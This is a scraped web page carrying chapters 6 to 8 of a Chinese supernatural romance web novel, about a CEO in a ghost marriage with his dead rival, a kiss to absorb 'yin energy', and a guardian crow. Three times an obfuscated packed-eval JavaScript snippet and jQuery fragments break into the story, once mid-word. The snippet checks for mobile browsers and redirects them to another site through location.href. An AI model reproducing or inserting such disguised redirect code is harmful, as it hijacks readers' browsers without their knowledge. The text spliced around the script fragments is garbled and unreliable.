见他一副公事公办的样子,张若澜打量了他几眼,啧了一声:
“这么多年没见,柳总不仅变得更帅了,还变得更无情了。”
柳相宜认可他前一个说法,不认可他后一个:他怎么就无情了?
他明明很有涵养很有礼貌,就连微笑都是他刻意训练过的,完美符合一位精英总裁该有的商业礼仪。
打完招呼,柳相宜就坐下了,打开面前的文件:“那我们开始谈谈关于九天科技的收购案吧。”
他刚说完,张若澜就笑了:“柳总这么赶时间吗?老同学见面都不寒暄一下的?”
柳相宜并不觉得他和张若澜有什么可以寒暄的,但他对客户合理的要求一向尊重。
“如果寒暄能让这桩收购案更顺利的话,那么我也不介意寒暄几句。”柳相宜合上文件,抬头道,“所以张总打算跟我寒暄什么呢?”
张若澜突然道:“我听说钟秦淮死了,今天上午还去祭拜了一下。”
他双手捧着脸感慨道:
“我看到他墓碑上的遗照了,果然我的白月光不仅没长残,反而比高中的时候更绝了!”
柳相宜:“……”
但满足客户的情绪价值,比较方便接下去的商业会谈,柳相宜配合着发问:“所以呢?”
“我去祭拜的时候在那个钟家村里打听过了,他们说是你给他下葬的。而且还每个月定期给钱,让他们帮忙看守墓碑,所以……”
张若澜眼珠子转了转:
“如果你能允许我做一件事,那么这个收购案就按照你们给的条件签了,柳总觉得怎样?”
虽然这个条件很令人心动,但柳相宜不着急答应,只平静问道:“先说说你想做什么吧。”
“我想跟他冥婚。”
柳相宜:“?”
“我这么跟我朋友说的时候,他们都以为我疯了!”
张若澜自嘲地笑了一下:
“但你应该能理解吧?毕竟你俩当时还打赌来着,谁先谈恋爱谁就输了,然后我不信邪,每天坚持给他一封情书,以为能让他破例……”
柳相宜不能理解。
但作为跟钟秦淮从小学到大学一路卷过来的,他见证过钟秦淮在学校里被各路人马猛追的绯闻八卦。
男男女女,甚至夸张到掰弯过好多个直男的程度。
很夸张。
真的很夸张。
张若澜这个冥婚,虽然耸人听闻,但放在钟秦淮过往那些追求者的事迹里,还不是最癫的。
“我问过一些道士了,”张若澜说,“冥婚需要他一件遗物,但是我没有,所以我想开棺取一样他的东西,一点骨灰也好,什么都行。”
最后,张若澜扬了扬手上那份收购案:“所以只要柳总允许我开棺,这份收购案我立马就能签。”
柳相宜微笑回答:“我可不敢替他做主。不过……”
又打开自己面前的那份收购案,将它推到张若澜面前,挑眉道:“张总如果把这个签了,我可以给你指条明路。”
张若澜笑了。
怪不得他们柳家明明有三个儿子,但最后却是年龄最小的柳相宜当继承人了,真的是绝不吃亏。
但谁叫他自从高中那惊鸿一瞥后,那么多年了,他再也没见过比钟秦淮还让人惊艳的,不然他也不会疯魔到人死了还在惦记。
张若澜二话不说就签了。
柳相宜满意地合上收购案,对他微微一笑,带着一丝不可说的深意:
“你可以去他墓前亲自问问他。”
又收购了一家公司,他们柳氏的商业版图在他手里又扩张了一个领域,柳相宜心情大好。
走回办公室一看,那只小黑猫不见踪影了。唯有窗户大开,白色的窗帘被风吹得飘起。
兴许是跑走了。
柳相宜没多想,他往窗外一看,已经下午时分,他拿起外套走出办公室,开车去了雾山。
车子停在山脚下的钟家村,柳相宜顺便去了一个超市里买点东西。
他还记得早上那小子救了他一命,总得买点东西表示一下感谢吧?
但钟秦淮已经是鬼了,他也不知道鬼需要什么,就依照生前他每次端着餐盘坐他对面跟他互卷的时候,隐约观察到的饮食习惯买了。
一袋胡萝卜。
一袋土豆。
一篮橘子。
超市老板娘见状,提醒他:
“人家祭拜用的贡品都是鸡鸭鱼肉,最不济也是买点馒头之类的摆上,你买这些他看不上的,那阴间的鬼怕不是晚上入梦来找你麻烦呢!”
柳相宜也不能理解,但事实上,根据他的观察,那小子确实爱吃这三样。
付钱的时候,柳相宜惯常对老板娘礼貌一笑,大概是他那经过刻意训练出来的微笑太过如沐春风,很容易让人心生好感。
超市老板娘多问了一嘴:
“你是那小子的朋友啊?”
柳相宜想了想,以前不算,但今早钟秦淮救了他,那就算是了吧?
超市老板娘这才哎呦一声:
“他家也是够倒霉的。他外婆当年看上了一个下乡的知青,结婚生娃了,后来知青回城里了,发达了,就另找了别的女人在城里逍遥快活,留他外婆在钟家村带娃……”
“他妈也是,本来就身体不好,医生都建议她不要怀孕,但他那个老公说了,她要是生不了他就去找别的女人生,然后就难产死掉了!”
超市老板娘边磕瓜子边说:
“所以你也别怪咱们村疏远那小子,除了他是鬼胎以外,主要是他外婆,生怕这个宝贝外孙跟他妈一样长大了是个恋爱脑,从小就不让他下山跟村子里的小女孩玩,防着呢!”
柳相宜瞬间想起高中时,钟秦淮每次被人表白时,只会冷冷说一句:
“我不谈恋爱。”
只能说,他外婆的教育很成功了,这小子从小到大还真的没见他谈过,每次都是独来独往。
那么……那位想要冥婚的张总估计也要铩羽而归了。
夜幕降临,柳相宜拎着贡品上山,远远地就看到张若澜跑过来了,一边跑一边吱哇乱叫。
准确地说,不是跑。
而是逃。
等走得近一些,柳相宜终于看清楚了,张若澜被一群乌鸦围攻。
那群乌鸦足有上百只,密密麻麻的,跟捅了野蜂窝一样,蜂拥着将张若澜团团围住,争先恐后地用尖尖的长喙戳他。
张若澜整个人鼻青脸肿,连裸露在外的胳膊和小腿全都被戳得红肿淤青,他没瞧见柳相宜,一边凄厉地哀嚎着,一边连滚带爬地下山了。
柳相宜见状,顿时心有余悸。
他正准备继续往前走,忽然,正前方的桃树上,一只小乌鸦正盯着他,黄色竖瞳里喷出怒火。
“啊,还有一个!这个也想和阿淮冥、冥婚,也要把他赶、赶走!”
柳相宜正惊讶于一只小乌鸦的嘴里,怎么能发出类似于人类幼崽般的声音时,茂密的树林里陡然响起怪叫声。
声音此起彼伏,像隐匿在森林里的暗卫,接到命令就瞬间闻风而动:
“嘎——嘎——”
紧接着,一阵树叶沙沙声响后,又有一群乌鸦从四面八方的树林里飞出来,像一张黑色大网,正要一点点地将柳相宜收拢。
眼见尖尖的喙正从四面八方戳向柳相宜,柳相宜下意识双手护住脸。
然而预想中的疼痛竟没有来。
乌鸦的怪叫声消停了,甚至连它们扇动翅膀的细微声响也消失了。
柳相宜从手指细缝中瞥了一眼,那群乌鸦像是突然接到了某种命令,又“咻”地一下,飞回树林里藏起来了。
森林里又恢复了寂静。
像是那群乌鸦没有出现过一样。
柳相宜:“?”
借着几缕月光,他环顾一圈,不远处一栋半山腰别墅,阳台上亮着微弱的一盏灯,栏杆上斜倚着一道修长的黑色身影。
柳相宜松了一口气。
拎着那袋贡品走过去,走到那栋别墅的阳台下,柳相宜扬了扬手中的那袋东西,把自己的来意说了。
又问:“所以钟总,按照你们鬼的习惯,我是把这些贡品摆在你那个坟墓前好呢,还是搁这让你拿进别墅里?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392251|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
钟秦淮的视线落在柳相宜拎着的那袋贡品上,看清楚了里边装的东西之后,眼底闪过一丝轻微的诧色。
随即,又把视线重新落在柳相宜脸上,他嘴角勾起,漾起一丝弧度:
“柳总对每个死对头都这样么?买他喜欢的东西还亲自送来?”
柳相宜:“?”
这得意的语气是闹哪样?
柳相宜没多想,往榕树底下的长椅上一坐,仰头微笑道:
“当然不是,我只对死了的才这样。”
又道:“所以钟总,看在我这么有诚意的份上,咱们或许关系可以适当地调整一下,比如可以尝试……”
柳相宜正想说可以尝试做一做朋友,谁知话还没说出口,阳台上的钟秦淮就微微挑眉:
“柳总,一袋贡品就想跟我调整关系啊?你这样显得我很不值钱。”
柳相宜:“?”
最起码这小子松口了,没有完全拒绝跟他缓和关系的意思,柳相宜微笑道:
“钟总说得也有道理,那我就再接再厉,争取达到钟总的要求。”
钟秦淮声音透着一丝古怪:
“柳总就这么想跟我调整关系?”
当然!
毕竟,总这么关系剑拔弩张的,很不方便他接近钟秦淮偷偷“吸阴气”。
不过这个理由自然是不能跟钟秦淮实话实说的,柳相宜又提醒他:
“今晚还要睡一起继续比的,钟总应该没有忘记吧?”
听到“睡一起”这三个字,钟秦淮不知想到了什么,神色忽然又微妙了一瞬。
柳相宜:“??”
这小子今天怎么古古怪怪的?
不过这小子本来就一直很奇怪。
柳相宜没再纠结,转身离开了。
他刚走,那只小乌鸦就飞过来了,落在阳台栏杆上,望了一眼柳相宜远去的背影,歪了歪脑袋:
“阿、阿淮为森么不让我把他也赶走?那个人都赶、赶走了的!”
钟秦淮一抬手,柳相宜搁在地上的那个袋子就缓缓飘起,“咻”地一声飘到旁边的圆桌上。
他伸进去拿了一个橘子出来,一边剥一边懒洋洋地回道:
“把他赶走了,那怎么探查他冥婚的目的呢?”
小乌鸦:“……?”
总觉得哪里不对劲。
但又听起来很合理。
小乌鸦只要思考一多,cpu就容易烧坏,不想了!
说起这个,它转而想起今天阿淮变成小黑猫去探查的事了,它又问:
“所以阿、阿淮白天没探查出来么?”
剥橘子的手忽地一顿。
不知想起了什么,钟秦淮那双狭长的凤眸眼尾微挑,颇为得意。他没回答,只含笑反问道:
“那个人类赶走了?”
小乌鸦握爪:
“赶、赶下山了!”
又昂首挺胸,骄傲道:
“窝、窝今晚还会让乌鸦们去他床头上怪叫,保证让他歇了跟阿淮冥、冥婚的心思!”
那个人类小乌鸦记得的。
高中的时候,在学校经常骚扰阿淮,还想跟阿淮谈恋爱,后来被它吓得跑出国了。
总之,但凡跟阿淮亲近的,想跟阿淮谈恋爱的,它都吓跑了。
唯一的例外就是那个人类,阿淮说是他的死对头,不要它出手赶跑,阿淮要亲自卷赢他,小乌鸦才放过的。
小乌鸦超级骄傲,然后长长的喙里被塞进了一瓣橘子。
好甜!
清甜的汁水咬一口就爆浆!
是橘子!
小乌鸦那双金色竖瞳登时圆了!它定睛一看,这不是那个人类带过来的贡品吗?
再用爪子扒拉开,萝卜!土豆!橘子!全都是阿淮最喜欢的东西。
小乌鸦倒吸一口寒气:
那个人、人类果然狡诈,竟然连阿淮喜、喜欢吃什么都一清二楚,怪不得阿淮还没能探查出那人冥婚的目的呢,太不好对付了!
想起它飞过来的时候,听见那个人类临走前,还在放话挑衅,说今晚要和阿淮睡一起继续比。
阿淮外婆说了,无爱的婚姻,要是晚上睡一起,将是一场漫长的酷刑。
小乌鸦抬起一只小爪子,握爪:
“阿、阿淮,你今晚一定要狠狠折磨他!”
钟秦淮嘴角勾起。
7. 第 7 章
有了第一次的经验,第二次就比较熟门熟路了,柳相宜回到家洗漱完,走出客厅,隔着一条一米宽的过道,对面就是钟秦淮的主卧了。
他深吸一口气,推开主卧的房门一看,钟秦淮正靠坐在棺木里,手上捧着一本书在看。
太有活人感了!
以至于柳相宜瞬间有种恍惚,好似飙车和冥婚都只是一场梦,这小子压根就没死。
但头顶灯光洒下昏黄的光晕,把钟秦淮那张脸衬得更苍白了,无端生出一股鬼气森森。
柳相宜定了定神,走过去一看书名,竟是《薛平贵与王宝钏》。
他正诧异这小子居然会看这种书,钟秦淮似乎看穿了他的心思,抬头似笑非笑地对他说道:
“这种书怎么了?王宝钏苦守寒窑挖野菜,多么具有警示作用,就应该人手一本作为传家宝。”
柳相宜:“……”
上次来没留意,柳相宜这次发现钟秦淮的主卧里竟然有一整面墙的书柜,上面塞满了书,粗略地扫一眼:
《拒绝恋爱脑》
《这本书让你人间清醒》
《智者不入爱河》
又联想到买贡品时,那个超市老板娘说的八卦,柳相宜顿时明白了,这大概是钟秦淮外婆买回来的。
接着,他便看到钟秦淮望着他,别有深意地说道:“我觉得柳总也需要看看这些睡前读物。”
柳相宜:“?”
柳相宜觉得自己并不需要,毕竟恋爱脑这种东西他压根就没有。不过这些不需要跟钟秦淮解释,于是就微笑地只回了三个字:
“婉拒了。”
钟秦淮合上手里的书:“不喜欢看书也行,那我带柳总去个地方。”
柳相宜:“?”
钟秦淮抬手打了个响指,一股猛烈的阴风从窗外灌了进来,柳相宜被吹得眯了下眼睛。
等他再次睁开时,自己已经不在钟秦淮那间卧室了,而是在一个公园里,此时夜深人静,公园里寂静得很,只有路灯发出昏暗的柔光。
钟秦淮指了指不远处那片绿油油的草地:“我外婆说这个地方就是以前王宝钏挖野菜的那片山头。”
说着,又转过头来,意味深长地望着柳相宜:”恋爱脑都没有好下场的,柳总,要引以为戒。”
柳相宜:“??”
柳相宜被他今晚这些莫名其妙的话给逗笑了,他挑眉道:
“钟总的意思是我恋爱脑?不知道这个暴论钟总是从哪里得出来的?”
钟秦淮斜倚在身后的晚樱树上,微微抬起下巴,那双黑漆漆的瞳仁里隐隐透着一丝得意:
“柳总不就是因为暗恋我,所以才跟我冥婚的吗?”
柳相宜:“???”
他不假思索地反驳道:
“钟总这么自恋的吗?”
钟秦淮没说话,只在黑暗中飘出一声轻笑,带着十足的笃定。
柳相宜:“!”
他正要冒火,突然想起前天他和大哥打的那通电话,所以……
当时那小子就在附近?
柳相宜心虚了一秒。
他不知道钟秦淮会怎么想,但死对头喜欢自己这件事,有些人是会觉得膈应的。
现在好不容易跟这小子关系缓和了点,开始走上朋友的正轨,他是决计不愿意功亏一篑的,于是柳相宜微微一笑,带着十分的信誓旦旦:
“钟总误会了,我那只是安慰大哥随便说说而已,钟总大可放心,我对你绝对没有任何的非分之想!”
本以为这番只差指天发誓的澄清能让钟秦淮释怀,谁知说完这话,感觉钟秦淮脸色好像……更差了?
只听见他幽幽道:
“那柳总说说我怎么误会了?还有,柳总和我冥婚不是因为暗恋我那是因为什么?”
柳相宜:“……”
旁边立着一盏路灯,昏黄的光线下,钟秦淮的脸一半隐匿在黑暗中,一半被灯光照亮,显得阴晴不定。
那双眼睛黑漆漆,直勾勾,像生长在幽暗潮湿角落里的藤蔓,无声无息地缠绕在他身上。
并且,随着无声凝视的时间越长,柳相宜感觉那道视线仿佛藤蔓般,将自己一点点绞紧。
柳相宜被盯得头皮发麻。
救命!
在“因为想吸阴气”和“硬着头皮承认自己暗恋钟秦淮”之间,柳相宜果断选择了后者,他轻咳一声:
“好好好,我知道钟总今晚带我来这里的目的了!放心,我绝不是恋爱脑,就算是恋爱脑也绝不会缠着钟总不放的,钟总满意了吗?”
他心里还惦记着吸阴气的事儿,于是又道:“满意的话,可以回去了吗?今晚还要比,钟总不会忘了吧?”
柳相宜说完,就看到钟秦淮表情又微微变了,不知想到了什么,他嘴角又重新漾起一丝弧度:
“柳总这么着急回去跟我睡啊?都这样了,还不承认自己暗恋我吗?”
柳相宜:“……”
这自信和得意的语气是闹哪样?
虽然他承认是自己主动要求冥婚,又被他偷听到了那通电话,以及昨晚一起睡是容易让人误会,但……
他俩可是死对头啊死对头!
这小子还真就信了?
柳相宜深吸一口气,算了,口舌之争没意义,还是干正事要紧。
他看向钟秦淮,微笑中带着点咬牙切齿:“钟总,时间不早了,该回去睡了吧?”
注意到柳相宜的表情,钟秦淮歪头,话里带着几分玩味:
“柳总大概不知道,我们阴间的鬼,一向是白天睡觉晚上出来的。”
柳相宜走过去,站在离他三步之遥的距离,继续微笑,这回微笑里带着十足的挑衅意味:
“哦,所以钟总是不敢跟我睡一起了吗?那在胆量这件事上,钟总是准备输给我了是吧?”
钟秦淮轻笑一声:
“既然柳总要跟我比胆量……”
他也悠悠往前了一步:
“柳总叫我跟你睡一起,无非就是想趁我睡着了偷亲是吧?既然如此,那柳总有胆量当着我的面直接来吗?”
柳相宜:“!”
这小子又加码了!
但是……在钟秦淮睡了的时候做下心理建设,还能偷偷吸阴气。
可要他当着钟秦淮的面,直接就这么亲,那还是很惊悚的。
见柳相宜拧眉思索,钟秦淮又朝他逼近了一步,这回两人挨得极近,近到柳相宜能看清那双黑漆漆的瞳仁里,倒映着自己的倒影。
靠太近了!
柳相宜不自然地后退了一步。
紧接着,钟秦淮的笑声就响了起来,带着点戏谑:
“怎么,柳总不敢啊?”
柳相宜:“……”
钟秦淮轻轻挑眉一笑,把柳相宜方才对他说的话奉还回去:
“所以在胆量这件事上,柳总是要准备输……”
太挑衅了!
不等钟秦淮说完,柳相宜就拽住了他衣领,钟秦淮被迫微微倾身。
与此同时,柳相宜稍稍抬头,两人的唇就贴上了!
钟秦淮终于安静了。
世界也安静了。
柳相宜闭着眼睛,感受着丝丝缕缕的阴气沿着唇缝飘进来。
这么直接面对面地吸阴气好像没有想象中那么艰难。
阴气就跟夏日清晨的薄雾一般,带着些微的凉意,能驱散人的燥热。
太舒服了!
柳相宜贴着贴着,忽然后知后觉这小子……居然没有推开他?
柳相宜:“?”
这不科学。
怀抱着一丝好奇心,柳相宜悄悄睁开一只眼,入目就是钟秦淮垂下来的睫毛,纤长浓密,像黑蝶的翅膀。
钟秦淮微微垂下头,闭着眼睛一动不动,唯有睫毛微微轻颤。
似在隐忍着什么。
柳相宜:“……”
都讨厌成这样了还不推开他,这小子为了赢居然可以做到这种地步吗?
不过也是。
上次飙车的时候,为了不输给他,竟然连命都可以不要呢!
柳相宜脑子里乱七八糟地想着。
此时春末,公园里的晚樱开了一树的花,夜晚的凉风吹过,花瓣簌簌地落下,落了树底下两人一身。
直到一片花瓣飘扬旋转,被风吹落在了柳相宜仰头的眼睫上,花瓣上沾着春夜和晚风的凉意。
柳相宜的眼皮被冰了一下。
瞬间睁开眼。
也不知过了多久,应该吸够了。他往后退了一步,与钟秦淮拉开了距离。
感觉到贴着自己的唇离开后,钟秦淮缓缓睁开了眼。
静静地凝视着柳相宜。
几秒后,这才意义不明地笑道:
“怎么,柳总这就不行了?”
柳相宜:“!”
这小子为了赢,跟死对头这样唇贴在一起都不在乎的吗?
真是恐怖如斯!
又忍不住哼笑一声,道:
“看来钟总只是不谈恋爱而已,其他的倒是一点也不介意,这不就是那种不拒绝不主动不负责的渣男行为吗?”
他只是随口吐槽了几句,但是不知道哪里取悦到了钟秦淮,他侧过脸,轻笑出声,复又敛笑重新转过来,眉目间浮上一层得意之色:
“柳总就这么想跟我谈恋爱吗?”
柳相宜:“……”
呵,果然是渣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392252|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
男。
本来还觉得瞒着他吸阴气有点愧疚,以后吸他阴气就没有道德压力了。反正这小子也是一个为了赢没有节操的家伙。
第二天,柳相宜就去清风观了,找他二哥问这阴气还要吸多久,吸多少,总得给他一个盼头吧?
柳宴池给了他一块玉佩,玉佩很小,被打磨成一片柳叶的形状,用一根黑色绳子串着。
柳相宜刚把这块玉佩戴上不久,奇妙的一幕发生了!原本通体莹白的玉佩竟然逐渐染成了鹅黄色。
柳宴池解释道:
“这块玉佩是被你体内的阳气侵染成黄色了,你多吸一口阴气,玉佩就会变白一点,等哪天完全变回白色,就意味着阴阳平衡了。”
解释完又安慰道:“别担心,你二哥我也超努力的!每天都在加紧炼丹!”
柳宴池说着拍了拍那个金黄色的丹炉,再次邀请柳相宜试药:
“再过一小时,二哥的九转金丹就要大功告成了!三弟你要不要留下来等吃了再走?”
柳相宜闻到了从丹炉里飘出来的一丝糊味,他婉拒了。
还是回去吸阴气吧。
回到雾山脚下时天色已晚,上山时,柳相宜忽然闻到了一丝香气。
是醉蝶兰!
这是一种少见的香料,柳相宜循着空气中浮动的香气走过去一看,一朵醉蝶兰就开在不远处的灌木丛里,在月光下皎洁如一只翩飞的蝴蝶。
走过去,蹲下.身,刚要伸手去摘,“刷”地一声,余光瞟到一个黑乎乎的东西朝自己砸来。
扭头一看,瞳孔骤然紧缩:
是个捕猎夹!
在月光下闪着森冷的寒光。
朝着他的方向盖过来,那一圈尖尖的铁皮眼看就要夹住他胳膊了,就在这千钧一发之际,一只手斜伸了过来。
挡在了他的胳膊之前,那只修长有力的手猛地抓住了捕猎夹。
柳相宜顺着那只手往上看,猝不及防地与一双漆黑的眸子对上了。
柳相宜:“?”
这小子怎么突然来了?
不等柳相宜琢磨,“滴”地一声细微声音响起,有什么东西落在了那束醉蝶兰的花瓣上。
柳相宜低头一看,是血!
又抬头一看,血珠是从钟秦淮抓着捕兽夹的手掌上渗出来的。
他蹭地一声站起身:
“我看看!”
说着想要抓过钟秦淮的那只手看看,钟秦淮避开了,将捕兽夹扔到一旁,转头说话的时候,戏谑地笑了:
“柳总刚才是叫了我的名字么?不然我好好的在阳台上吹风怎么突然强制闪现到这了?”
柳相宜:“……”
他刚才在心里默念了吗?
疑罪从无。
柳相宜理不直气也壮:“我没叫。”
钟秦淮幽幽道:“可我听见了……”
柳相宜:“……”
低头看了看钟秦淮手掌。
他手掌垂下,看不出伤势如何,只能隐约看见有血珠从手掌冒出,沿着纤长的手指一路滑下来,再从指尖处滴落下去。
他手指本就苍白,从手掌流下来的鲜血如同红线般,沿着他的五指一路缠绕下来,极致的白与红,有种惊心动魄的惨烈对比。
柳相宜拧眉,钟秦淮却跟没事人一样,散漫地抬起那个手掌看了看。
余光瞥见他的眉头仍旧紧蹙着,钟秦淮歪头,笑声里带着一丝玩味:
“柳总这么喜欢我啊?”
柳相宜:“……”
槽多无口。
柳相宜转身就走。
半小时后,别墅二楼阳台上。小乌鸦立在阳台栏杆上,金色的竖瞳即便在漆黑的夜色里,视力也极好。
能清晰地看到有一抹高挑清瘦的人影正朝别墅走来,手上还拎着一大袋子药。
小乌鸦哼了一声:“这个人类,以为阿淮跟他一样脆、脆弱吗?”
说完扭头看向钟秦淮的那只手。
钟秦淮正坐在阳台的小圆桌前喝蜂蜜水,手掌托起水杯时,方才还被捕兽夹的尖尖铁皮刺得血淋淋,如今已经完好如初。
完全看不出受过伤的迹象。
小乌鸦骄傲地昂起小脑袋:
“阿、阿淮可是极阴之体,是我们老钟家鬼气最强的,区区一点手伤,一眨眼就能自愈啦!”
瞧见柳相宜进了别墅大门,钟秦淮放下水杯,那只手掌轻轻一晃。
几道黑气萦绕在手掌上,片刻消散后,手掌又还原成了受伤状态。
整只手鲜血淋漓,手掌上一处皮肉外翻,隐约可见一道深痕。
小乌鸦歪了歪脑袋,疑惑道:
“手怎么又变、变回来了?”
8. 第 8 章
柳相宜走进阳台时,视线全都被那只血淋淋的手掌给吸引了,完全没留意阳台栏杆上,小乌鸦悄悄振翅飞走,飞进庭院一棵榕树里藏起来了。
他走到钟秦淮面前,扬起手中那袋子药晃了晃,怕他误会似的,又微微一笑,解释性发言:
“钟总不要多想,我绝对没有恋爱脑,给你买药纯粹是基于朴素的感恩之心,没有半点私情。”
柳相宜刚一说完,就看到钟秦淮的表情有一瞬间的微妙。
接着,钟秦淮幽幽道:
“既然柳总说到这个,那我也顺便解释一下,刚才帮你也是基于冥婚绑定后的被迫行为,柳总也不要多想。”
柳相宜:“……”
柳相宜在他旁边的椅子上坐下,把一袋子的药打开,一边扒拉着找碘伏,一边随口问道:
“所以钟总虽然是鬼了,但受伤了仍然会跟人一样是吧?”
钟秦淮凉凉道:
“当然不一样,做人的时候可不见柳总这么有感恩之心……”
柳相宜扒拉袋子的手一顿。
这阴阳怪气的语气……
又怎么惹到他了?
男人真是善变!
他把钟秦淮受伤的那只手腕拽过来,刚一触摸上钟秦淮手腕上的皮肤,指尖就被凉了一下。
果然鬼的体温就比人类的低些。
他拿起棉签沾上碘伏开始消毒。
阳台上一时安静了下来。
钟秦淮也没再说话,另一只手托着下巴,垂眸安静地盯着。
阳台的墙上斜挂着一盏壁灯,暖黄色的光晕洒下来,落进柳相宜低垂的眸子里。
柳相宜生了一双柳叶眼。
精通命理和面相的外婆曾经跟他说过,这种眼型特别稀有,形似柳叶,弯曲纤长,略带妩媚感。
放在女生身上就是传说中的“媚眼如丝”;放在男生身上,则会自带一种独特的神韵,有种男生女相的精致。
就像现在,明明没有在笑,但那双柳叶眼只微微一弯,便给人一种微笑的错觉,比传闻中的桃花眼少了一分轻浮,多了一丝沉静。
“尤其是男的,要是生了柳叶眼可不得了,搁古代就是祸国的妖妃,阿淮要是碰到了千万别跟他做朋友……”
他很听外婆话的,小时候这位柳总送给他棒棒糖的时候他都没接。
但谁叫这位柳总当年小小一只,气焰却嚣张得很,非要挑衅他说棒棒糖都不敢吃,是胆小鬼。
他当时蹭地一下站起来,也从兜里摸出一只小乌鸦:“那你敢捏它一下吗?它会咬人的哦!”
于是,关于“谁是胆小鬼”的这场较量从那时候就开始了,一直延续到现在还在比拼胆量。
他俩从来不是朋友。
连一天的朋友都没当过。
所以,他仍然是听话的好外孙。
钟秦淮目不转睛地盯着。
此时,柳相宜正低着头,拿着一只棉签,沾上碘伏,一点点地给那只手掌消毒,本来是很专注的,但头顶的那道视线太强烈了!
柳相宜抬头看了一眼,钟秦淮正眼也不眨地、直勾勾地盯着自己。
他背对着那盏壁灯,光线完全没办法照进他的眼睛里,那双黑漆漆的瞳仁里,藏着令人难以捉摸的情绪。
死对头嘛。
自然对自己没什么好眼色。
柳相宜习惯了,只看了一眼,便低头继续手上的工作。
手机里正在播放一个医学视频:
“为避免感染,消毒的时候,棉签脏了要及时换掉,咱们不能为图省事,一根棉签用到底……”
柳相宜谨遵医嘱,棉签擦一下血渍,脏了就扔掉,重新取新的继续。
见他不厌其烦地,一根一根地用了又丢,钟秦淮又冷不丁地开口:
“柳总不觉得这很浪费时间吗?”
手掌上的血迹被一根根棉签耐心地擦拭掉了,又被一根根棉签涂上了红色的药水。
柳相宜抓着钟秦淮的手,一边反复检查一边哼笑道:“是很浪费时间,但谁叫我暗恋钟总呢?”
说完,抬头紧盯钟秦淮的反应。
果然,钟秦淮一听,脸上的表情瞬间微妙。似乎亲耳听见柳相宜如此大方直接地说出口,令他意外。
意外到一下子连反驳都忘了,只眨了眨眼,望着柳相宜不说话。
终于吃瘪了吧?
柳相宜眸子里划过一丝狡黠的笑意。
他想通了!既然误会已经造成,又没办法解释,那还不如干脆用这个理由时不时膈应一下他!
反正对钟秦淮来说,被他这个死对头喜欢,应该不算什么好事。
但不知道怎么回事,钟秦淮回过神来后,仿佛被他那句话取悦到了,眸子里闪过一丝戏谑的笑意:
“那柳总说说看,是因为什么暗恋上我的?又是什么时候开始暗恋的?”
柳相宜:“……”
本以为钟秦淮会如坐针毡如芒刺背如鲠在喉,但这颇为享受的表情,这得意的语气是怎么回事?
柳相宜不说,他还晃了晃手腕,继续催促:“柳总怎么不说话了?是不敢当着我的面说吗?”
柳相宜哼笑一声:
“有什么不敢的?”
他一边敷药一边挑眉道:
“我就喜欢钟总超级自恋、阴阳怪气,还一直追问的样子,普通人很难集齐这三点,只有钟总才能做到……”
钟秦淮:“……”
见钟秦淮表情微妙,柳相宜心情大好,把钟秦淮那只手包扎好了之后,他开始收拾小圆桌上那一大堆药。
钟秦淮的视线落在柳相宜的一只手掌上:“柳总自己的不处理一下吗?”
柳相宜抬手一看,刚才他下山下得急,摔了一下,手掌被一块尖锐的石头刮出几道浅浅的红痕,但不严重,比起钟秦淮的好多了。
他拿起一根棉签,草草消毒完,又涂了几下药,把棉签扔进旁边的垃圾桶就算完事儿了!
钟秦淮看得微微蹙眉:
“柳总对自己就这么敷衍吗?”
柳相宜倒毫不在乎,他拎着收拾好的那一袋子药起身微笑道:“钟总现在知道我对你爱得深沉了吧?”
钟秦淮:“……”
见钟秦淮又被噎得说不出话来,柳相宜哈哈笑了起来。转身离开时,又突然想起什么,回头对钟秦淮道:
“伤口包扎好之后是不能沾水的,能做到吗钟总?”
钟秦淮仍旧还坐在那个小圆桌前,托着下巴,仰头淡笑:
“看我心情。”
柳相宜:“……”
回到客房,柳相宜先去洗了个澡,出来时窗外已经夜色深深。
今晚因为钟秦淮手伤的事儿,他下山四处奔波买药,本来极阳体质还失眠的他,现在也困意来袭了。
刚走到主卧门口,就看到钟秦淮已经在棺材里的那一侧躺好了。柳相宜脚步一顿,又强装淡定地走进去:
“钟总不是说晚上不睡觉吗?”
钟秦淮悠悠道:“既然柳总这么暗恋我,我就勉为其难地满足柳总的心愿,继续跟你睡一起好了。”
又照着刚才柳相宜的那番话,漫不经心地补充道:“柳总不要误会,我这是基于柳总刚才给我上药的感恩之心,没有半点私人情感。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392253|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
柳相宜:“……”
突然有种搬起石头砸自己脚的感觉是怎么回事?但钟秦淮都能没事儿一样跟他这个死对头躺一起,他也能!
柳相宜深吸一口气。
关灯!躺下!
一回生二回熟。
第一次跟钟秦淮睡在棺材里的时候,柳相宜还觉得浑身不自在,现在已然稍微习惯了。
